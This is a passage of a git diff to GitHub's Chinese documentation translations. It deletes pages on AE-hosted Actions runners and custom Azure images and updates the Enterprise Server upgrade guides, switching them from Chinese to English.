IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.actions.hosted_runner %}s, you can use the {% data variables.product.prodname_dotcom %} REST API . For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint. You can use this list of IP addresses if you require an allow-list to prevent unauthorized access to your internal resources. - -The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. - -{% ifversion ghae-next %} - -## Autoscaling - -Each pool of {% data variables.actions.hosted_runner %}s is fully managed by {% data variables.product.company_short %} to maximize performance while minimizing costs. Optionally, you can configure the autoscaling parameters for your enterprise by contacting {% data variables.contact.github_support %}. You can define the minimum number of idle runners and how long a runner should remain idle before being removed from the pool. Each pool can contain up to 600 runners. - -{% endif %} - -## Administrative privileges for {% data variables.actions.hosted_runner %}s - -The Linux virtual machines run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)." - -Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation. - -## File systems - -{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories. - -| Directory | Environment variable | Description | -|-----------|----------------------|-------------| -| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. | -| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. | -| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions. - -For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)." - -### Docker container filesystem - -Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers. - -{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions. - -- `/github/home` -- `/github/workspace` - {% data reusables.repositories.action-root-user-required %} -- `/github/workflow` diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md b/translations/zh-CN/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md deleted file mode 100644 index 2d931d2c58..0000000000 --- a/translations/zh-CN/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: 添加 AE 托管的运行器 -intro: '您可以将 {% data variables.actions.hosted_runner %} 添加到组织或企业。' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -{% note %} - -**注意:**要添加 {% data variables.actions.hosted_runner %} 到 {% data variables.product.prodname_ghe_managed %},您需要联系 {% data variables.product.prodname_dotcom %} 支持。 本文介绍支持部门完成此过程所需的信息。 - -{% endnote %} - -{% data variables.actions.hosted_runner %} 可以使用基础 Azure 操作系统映像,您可以创建自己的自定义映像。 - -## 从基础 Azure 映像添加 {% data variables.actions.hosted_runner %} - -您可以添加使用基础 Azure 操作系统映像的 {% data variables.actions.hosted_runner %}。 要将 {% data variables.actions.hosted_runner %} 添加到您的组织或企业,请联系 {% data variables.product.prodname_dotcom %} 支持并备好以下信息: - - 所需的操作系统:可用选项请参阅[“软件规格](/actions/using-github-hosted-runners/about-ae-hosted-runners#software-specifications)”。 - - 为每个 {% data variables.actions.hosted_runner %} 池选择一个名称。 这些名称被创建为标签,允许您将工作流程路由到这些运行器。 更多信息请参阅[“在工作流程中使用 {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)”。{% ifversion ghae-next %} -{% data reusables.actions.autoscaling-parameters %}{% endif %} - - 将 {% data variables.actions.hosted_runner %} 添加到何处:确定将接收该运行器的组织和企业的名称。 - -## 使用自定义映像添加 {% data variables.actions.hosted_runner %} - -要创建自定义操作系统映像,请参阅[“创建自定义映像”](/actions/using-github-hosted-runners/creating-custom-images)的步骤。 - -使用上述步骤创建自定义映像后,请联系 {% data variables.product.prodname_dotcom %} 支持并提供以下详细信息: - - - 在遵循自定义映像创建步骤时生成的 SAS URI。 - - 映像使用的操作系统类型:可以是 Linux 或 Windows。 - - 映像名称: - - 版本. - - 新池的 VM SKU。 - - 为每个 {% data variables.actions.hosted_runner %} 池选择一个名称。 这些名称被创建为标签,允许您将工作流程路由到这些运行器。 更多信息请参阅[“在工作流程中使用 {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)”。{% ifversion ghae-next %} -{% data reusables.actions.autoscaling-parameters %}{% endif %} - - 将 {% data variables.actions.hosted_runner %} 添加到何处:确定将接收该运行器的组织和企业的名称。 - -## 查看您的 {% data variables.actions.hosted_runner %} - -在 {% data variables.product.prodname_dotcom %} 支持部门添加您的运行器后,您将能够在您的运行器列表中找到它们: - -{% data reusables.github-actions.hosted-runner-navigate-to-repo-org-enterprise %} -{% data reusables.github-actions.hosted-runner-list %} diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/creating-custom-images.md b/translations/zh-CN/content/actions/using-github-hosted-runners/creating-custom-images.md deleted file mode 100644 index 1e3b5c6afe..0000000000 --- a/translations/zh-CN/content/actions/using-github-hosted-runners/creating-custom-images.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: 创建自定义映像 -intro: '您可以为 {% data variables.actions.hosted_runner %} 创建自定义映像。' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## 使用自定义映像创建 {% data variables.actions.hosted_runner %} - -{% data variables.actions.hosted_runner %} 可以使用您自定义的操作系统映像来满足需要。 本文包括在 Azure 中创建映像并准备将其用于 {% data variables.product.prodname_ghe_managed %} 的简要步骤。 更多信息请参阅 [Azure 文档](https://docs.microsoft.com/en-us/azure/virtual-machines/)。 - -在此测试阶段,要为 {% data variables.actions.hosted_runner %} 创建自定义映像,您将需要能够提供虚拟机的 Azure 订阅。 - - -1. 使用市场映像或虚拟硬盘 (VHD) 在您的租户中供应新的虚拟机。 -2. (可选)在虚拟机上安装所需的软件。 -3. 解除供应虚拟机: - - 对于 Linux: `ssh` 连接到虚拟机并运行: - ```sh - $ sudo waagent -deprovision+user - ``` - - 对于 Windows:执行[“使用 Sysprep 一般化来源虚拟机”](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/upload-generalized-managed#generalize-the-source-vm-by-using-sysprep)所述的步骤。 - -4. 使用 Azure CLI 解除分配并一般化虚拟机: - ```powershell - $resourceGroupName = "octocat-testgroup" - $vmName = "octo-vm" - - Stop-AzVM -ResourceGroupName $resourceGroupName -Name $vmName - Set-AzVM -ResourceGroupName $resourceGroupName -Name $vmName -Generalized - ``` - - 将 `octo-vm` 替换为您的虚拟机名称。 - - 有关这些步骤的更多信息,请参阅“[如何创建虚拟机或 VHD 的管理映像](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/capture-image#step-1-deprovision-the-vm)”。 -5. 为虚拟机的操作系统磁盘生成 SAS URI。 - - 使用 Azure 门户:在磁盘资源上,导航到 **Disk Export(磁盘导出)**,将 `URL expires in (seconds)(URL 到期时间 [秒])`设置为 `86400`(24 小时),并生成 URL。 - - 使用 Azure CLI: - ```powershell - $resourceGroupName = "octocat-testgroup" - $vmName = "octo-vm" - - $vm = Get-AzVM -ResourceGroupName $resourceGroupName -Name $vmName - Grant-AzDiskAccess ` - -ResourceGroupName $resourceGroupName ` - -DiskName $vm.StorageProfile.OsDisk.Name ` - -Access Read ` - -DurationInSecond 86400 - ``` - - 将 `octo-vm` 替换为您的虚拟机名称。 - -在创建映像后,便可将其添加到 {% data variables.product.prodname_ghe_managed %}。 更多信息请参阅[“使用自定义映像添加 {% data variables.actions.hosted_runner %}”](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image)。 diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md b/translations/zh-CN/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md deleted file mode 100644 index 78c12cda2e..0000000000 --- a/translations/zh-CN/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: 在工作流程中使用 AE 托管的运行器 -intro: '您可以使用标签将作业发送到 {% data variables.actions.hosted_runner %} 池。' -versions: - ghae: '*' -shortTitle: 使用 AE 托管的运行器 ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## 在工作流程中使用 {% data variables.actions.hosted_runner %} - -标签允许您向包含该标签的任何 {% data variables.actions.hosted_runner %} 发送工作流程作业。 您可以使用默认标签,也可以创建自定义标签。 - -## 使用默认标签路由作业 - -{% data variables.actions.hosted_runner %} 在添加到 {% data variables.product.prodname_actions %} 时会获得一个标签。 该标签用于指示其分配位置。 - -您可以使用工作流程的 YAML 将作业发送到特定的 {% data variables.actions.hosted_runner %} 池。 此示例演示如何配置工作流程以在称为 `AE-runner-for-CI` 的标签上运行: - -```yaml -runs-on: [AE-runner-for-CI] -``` - -更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)”。 - -## 使用自定义标签路由作业 - -您可以随时创建自定义标签并将其分配给您的 {% data variables.actions.hosted_runner %}。 自定义标签允许您根据其标签将作业发送给特定类型的运行器。 - -例如,如果您的某个作业需要特定的软件包,则可以创建名为 `octocat` 的自定义标签,并将其分配给安装了该软件包的运行器。 与所有已分配的标签匹配的 {% data variables.actions.hosted_runner %} 将有资格运行该作业。 - -此示例显示一个使用多个标签的作业: - -```yaml -runs-on: [AE-runner-for-CI, octocat, linux] -``` - -这些标签累计运行,所以 {% data variables.actions.hosted_runner %} 的标签必须匹配所有标签才能处理该作业。 diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md b/translations/zh-CN/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md deleted file mode 100644 index aec4ee0bbc..0000000000 --- a/translations/zh-CN/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 使用组来管理访问 AE 托管的运行器 -intro: '您可以使用策略来限制对已添加到组织或企业的 {% data variables.actions.hosted_runner %} 的访问。' -versions: - ghae: '*' -shortTitle: 管理 AE 运行器组 ---- - -{% data reusables.actions.ae-hosted-runners-beta %} - -## 关于 {% data variables.actions.hosted_runner %} 组 - -{% data variables.actions.hosted_runner %} 组用于控制对组织和企业级 {% data variables.actions.hosted_runner %} 的访问。 企业管理员可以配置访问策略,用以控制企业中的哪些组织可以访问运行器组。 组织管理员可以配置访问策略,用以控制组织中的哪些组织可以访问运行器组。 - -当企业管理员授予组织对运行器组的访问权限时,组织管理员可以看到组织的 {% data variables.actions.hosted_runner %} 设置中列出的运行器组。 然后,组织管理员可以为企业运行器组分配其他细致的仓库访问策略。 - -新运行器在创建时,将自动分配给默认组。 运行器每次只能在一个组中。 您可以将运行器从默认组移到另一组。 更多信息请参阅“[将 {% data variables.actions.hosted_runner %} 移动到组](#moving-an-ae-hosted-runner-to-a-group)”。 - -## 为组织创建 {% data variables.actions.hosted_runner %} 组 - -所有组织都有一个默认的 {% data variables.actions.hosted_runner %} 组。 企业帐户中的组织可以创建其他运行器组。 组织管理员可以允许单个仓库访问运行器组。 - -{% data variables.actions.hosted_runner %} 在创建时会自动分配给默认组,并且每次只能成为一个组的成员。 您可以将运行器从默认组移到您创建的任何组。 - -创建组时,必须选择用于定义哪些仓库有权访问运行器组的策略。 - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions %} -1. 在 **Self-hosted runners(自托管运行器)**部分,单击 **Add new(新增)**,然后单击 **New group(新组)**。 - - ![添加运行器组](/assets/images/help/settings/actions-hosted-runner-add-new-group.png) - - {% data reusables.github-actions.runner-group-assign-policy-repo %} -1. 单击 **Save group(保存组)**创建组并应用策略。 - -## 为企业创建 {% data variables.actions.hosted_runner %} 组 - -企业可以将其 {% data variables.actions.hosted_runner %} 添加到组以进行访问管理。 企业可以创建供企业帐户中特定组织访问的 {% data variables.actions.hosted_runner %} 组。 然后,组织管理员可以为企业运行器组分配其他细致的仓库访问策略。 - -{% data variables.actions.hosted_runner %} 在创建时会自动分配给默认组,并且每次只能成为一个组的成员。 您可以在注册过程中将运行器分配给特定组,也可以稍后将运行器从默认组移到自定义组。 - -创建组时,必须选择用于定义哪些组织有权访问运行器组的策略。 - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. 单击 **Self-hosted runners(自托管运行器)**选项卡。 -1. 单击 **Add new(新增)**,然后单击 **New group(新组)**。 - - ![添加运行器组](/assets/images/help/settings/actions-hosted-runner-add-new-group.png) - - {% data reusables.github-actions.runner-group-assign-policy-org %} - -1. 单击 **Save group(保存组)**创建组并应用策略。 - -## 更改 {% data variables.actions.hosted_runner %} 组的访问策略 - -您可以更新运行器组的访问策略,或重命名运行器组。 - -{% data reusables.github-actions.hosted-runner-configure-runner-group-access %} - -## 将 {% data variables.actions.hosted_runner %} 移动到组 - -新的 {% data variables.actions.hosted_runner %} 将自动分配给默认组,然后可以移到另一个组。 - -1. 在设置页面的 **Self-hosted runners(自托管运行器)**部分,找到要移动的运行器的当前组,并展开组成员列表。 ![查看运行器组成员](/assets/images/help/settings/actions-hosted-runner-group-members.png) -1. 选中运行器旁边的复选框,然后单击 **Move to group(移动到组)**以查看可用的目的地。 ![运行器组成员移动](/assets/images/help/settings/actions-hosted-runner-group-member-move.png) -1. 要移动运行器,请单击目标组。 ![运行器组成员移动](/assets/images/help/settings/actions-hosted-runner-group-member-move-destination.png) - -## 删除 {% data variables.actions.hosted_runner %} 组 - -{% data variables.actions.hosted_runner %} 在其组被删除时将自动返回到默认组。 - -1. 在设置页面的 **Self-hosted runners(自托管运行器)**部分,找到您想要删除的组,并单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 按钮。 ![查看运行器组设置](/assets/images/help/settings/actions-hosted-runner-group-kebab.png) - -1. 要删除组,请单击 **Remove group(删除组)**。 - - ![查看运行器组设置](/assets/images/help/settings/actions-hosted-runner-group-remove.png) - -1. 查看确认提示,然后单击 **Remove this runner group(删除此运行器组)**。 diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md b/translations/zh-CN/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md deleted file mode 100644 index 771d9befdb..0000000000 --- a/translations/zh-CN/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: 将标签与 AE 托管的运行器一起使用 -intro: '您可以使用标签以基于其特性来组织 {% data variables.actions.hosted_runner %}。' -versions: - ghae: '*' -shortTitle: 标识 AE 托管的运行器 ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -有关如何使用标签将作业路由到特定类型的 {% data variables.actions.hosted_runner %} 的信息,请参阅“[在工作流程中使用 {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)”。 - - -{% note %} - -**注意:**要管理您的 {% data variables.actions.hosted_runner %} 的标签,您需要联系 {% data variables.product.prodname_dotcom %} 支持。 - -{% endnote %} - -## 查看 {% data variables.actions.hosted_runner %} 的标签 -{% data reusables.github-actions.hosted-runner-navigate-to-repo-org-enterprise %} -{% data reusables.github-actions.hosted-runner-list %} -{% data reusables.github-actions.hosted-runner-list-group %} -1. 找到要检查的运行器,然后单击 {% octicon "triangle-down" aria-label="The downward triangle" %} 以查看标签选择菜单。 已分配给您的运行器的标签旁边有 {% octicon "check" aria-label="Check mark" %}。 - -![更改运行器标签](/assets/images/help/settings/actions-hosted-runner-list-label.png) diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md index 829cdf411e..2111abfe4f 100644 --- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md +++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md @@ -16,23 +16,27 @@ topics: {% note %} **Notes:** +{% ifversion ghes < 3.3 %}- Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements.{% endif %} - Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance. - If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering. -- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). +- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). {% endnote %} ## Recommendations -- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. +- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. Use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. - If you’re several versions behind, upgrade {% data variables.product.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step. - Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} - Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)." - When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete. +- Take a snapshot before upgrading your virtual machine. For more information, see "[Taking a snapshot](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)." +- Ensure you have a recent, successful backup of your instance. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme). ## Requirements - You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}. +- When upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. - {% data reusables.enterprise_installation.hotpatching-explanation %} - A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time. - Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage. diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md index 5dff98b0a6..4f60cb3784 100644 --- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md +++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md @@ -1,6 +1,6 @@ --- -title: 升级 GitHub Enterprise Server -intro: '升级 {% data variables.product.prodname_ghe_server %},以获取最新功能和安全更新。' +title: Upgrading GitHub Enterprise Server +intro: 'Upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.' redirect_from: - /enterprise/admin/installation/upgrading-github-enterprise-server - /enterprise/admin/articles/upgrading-to-the-latest-release/ @@ -20,217 +20,221 @@ type: how_to topics: - Enterprise - Upgrades -shortTitle: 升级 GHES +shortTitle: Upgrading GHES --- -## 准备升级 +{% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %} -1. 确定升级策略并选择要升级到的版本。 更多信息请参阅“[升级要求](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)”。 -3. 使用 {% data variables.product.prodname_enterprise_backup_utilities %} 创建全新的主实例备份。 更多信息请参阅 [{% data variables.product.prodname_enterprise_backup_utilities %} README.md 文件](https://github.com/github/backup-utils#readme)。 -4. 如果您要使用升级包进行升级,请为 {% data variables.product.prodname_ghe_server %} 最终用户排定维护窗口。 如果您要使用热补丁,则不需要使用维护模式。 +## Preparing to upgrade + +1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. +3. Create a fresh backup of your primary instance with the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme). +4. If you are upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required. {% note %} - **注**:维护窗口取决于所执行升级的类型。 使用热补丁进行升级通常不需要维护窗口。 有时需要重启,不过您可以在之后的某个时间重启。 按照 MAJOR.FEATURE.PATCH 的版本控制方案,使用升级包的补丁版本通常需要不到 5 分钟的停机时间。 包含数据迁移的功能版本需要的时间更长,具体视存储性能以及迁移的数据量而定。 更多信息请参阅“[启用和排定维护模式](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。 + **Note:** The maintenance window depends on the type of upgrade you perform. Upgrades using a hotpatch usually don't require a maintenance window. Sometimes a reboot is required, which you can perform at a later time. Following the versioning scheme of MAJOR.FEATURE.PATCH, patch releases using an upgrade package typically require less than five minutes of downtime. Feature releases that include data migrations take longer depending on storage performance and the amount of data that's migrated. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." {% endnote %} {% data reusables.enterprise_installation.upgrade-hardware-requirements %} -## 生成快照 +## Taking a snapshot -快照是虚拟机 (VM) 在某一时间点的检查点。 强烈建议在升级虚拟机之前生成快照,这样一来,如果升级失败,您可以将 VM 还原到快照状态。 如果您要升级到新的功能版本,则必须生成 VM 快照。 如果您要升级到补丁版本,可以连接现有数据磁盘。 +A snapshot is a checkpoint of a virtual machine (VM) at a point in time. We highly recommend taking a snapshot before upgrading your virtual machine so that if an upgrade fails, you can revert your VM back to the snapshot. If you're upgrading to a new feature release, you must take a VM snapshot. If you're upgrading to a patch release, you can attach the existing data disk. -有两种类型的快照: +There are two types of snapshots: -- **VM 快照**会保存整个 VM 状态,包括用户数据和配置数据。 此快照方法需要占用大量磁盘空间,且比较耗时。 -- **数据磁盘快照**仅会保存您的用户数据。 +- **VM snapshots** save your entire VM state, including user data and configuration data. This snapshot method requires a large amount of disk space and is time consuming. +- **Data disk snapshots** only save your user data. {% note %} - **注意:** - - 某些平台不允许您只生成数据磁盘的快照。 对于此类平台,您需要生成整个 VM 的快照。 - - 如果您的虚拟机监控程序不支持完整的 VM 快照,您应连续、快速地生成根磁盘和数据磁盘的快照。 + **Notes:** + - Some platforms don't allow you to take a snapshot of just your data disk. For these platforms, you'll need to take a snapshot of the entire VM. + - If your hypervisor does not support full VM snapshots, you should take a snapshot of the root disk and data disk in quick succession. {% endnote %} -| 平台 | 快照方法 | 快照文档 URL | -| --------------------- | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Amazon AWS | 磁盘 | | -| Azure | VM | | -| Hyper-V | VM | | -| Google Compute Engine | 磁盘 | | -| VMware | VM | [https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html](https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html){% ifversion ghes < 3.3 %} -| XenServer | VM | {% endif %} +| Platform | Snapshot method | Snapshot documentation URL | +|---|---|---| +| Amazon AWS | Disk | +| Azure | VM | +| Hyper-V | VM | +| Google Compute Engine | Disk | +| VMware | VM | {% ifversion ghes < 3.3 %} +| XenServer | VM | {% endif %} -## 使用热补丁升级 +## Upgrading with a hotpatch -{% data reusables.enterprise_installation.hotpatching-explanation %} 利用 {% data variables.enterprise.management_console %},您可以立即安装热补丁,也可以排定稍后安装热补丁。 您可以使用管理 shell 的 `ghe-upgrade` 实用程序安装热补丁。 更多信息请参阅“[升级要求](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)”。 +{% data reusables.enterprise_installation.hotpatching-explanation %} Using the {% data variables.enterprise.management_console %}, you can install a hotpatch immediately or schedule it for later installation. You can use the administrative shell to install a hotpatch with the `ghe-upgrade` utility. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)." {% note %} -**{% ifversion ghes %}注释{% else %}注释{% endif %}**: +**{% ifversion ghes %}Notes{% else %}Note{% endif %}**: {% ifversion ghes %} -- 如果 {% data variables.product.product_location %} 正在运行发布候选版本,则无法使用热补丁升级。 +- If {% data variables.product.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. -- {% endif %}无法在集群环境中使用 {% data variables.enterprise.management_console %} 安装热补丁。 要在集群环境中安装热补丁,请参阅“[升级集群](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)”。 +- {% endif %}Installing a hotpatch using the {% data variables.enterprise.management_console %} is not available in clustered environments. To install a hotpatch in a clustered environment, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)." {% endnote %} -### 使用热补丁升级单个设备 +### Upgrading a single appliance with a hotpatch -#### 使用 {% data variables.enterprise.management_console %} 安装热补丁 +#### Installing a hotpatch using the {% data variables.enterprise.management_console %} -1. 启用自动更新。 更多信息请参阅“[启用自动更新](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)”。 +1. Enable automatic updates. For more information, see "[Enabling automatic updates](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)." {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.updates-tab %} -4. 在新的热补丁下载完毕后,请使用 Install package 下拉菜单: - - 要立即安装,请选择 **Now**: - - 要稍后安装,请选择以后的日期。 ![热补丁安装日期下拉菜单](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png) -5. 单击 **Install(安装)**。 ![热补丁安装按钮](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png) +4. When a new hotpatch has been downloaded, use the Install package drop-down menu: + - To install immediately, select **Now**: + - To install later, select a later date. + ![Hotpatch installation date dropdown](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png) +5. Click **Install**. + ![Hotpatch install button](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png) -#### 使用管理 shell 安装热补丁 +#### Installing a hotpatch using the administrative shell {% data reusables.enterprise_installation.download-note %} {% data reusables.enterprise_installation.ssh-into-instance %} -2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} 复制升级热补丁包(*.hpkg* 文件)的 URL。 +2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copy the URL for the upgrade hotpackage (*.hpkg* file). {% data reusables.enterprise_installation.download-package %} -4. 使用包文件名运行 `ghe-upgrade` 命令: +4. Run the `ghe-upgrade` command using the package file name: ```shell admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.hpkg *** verifying upgrade package signature... ``` -5. 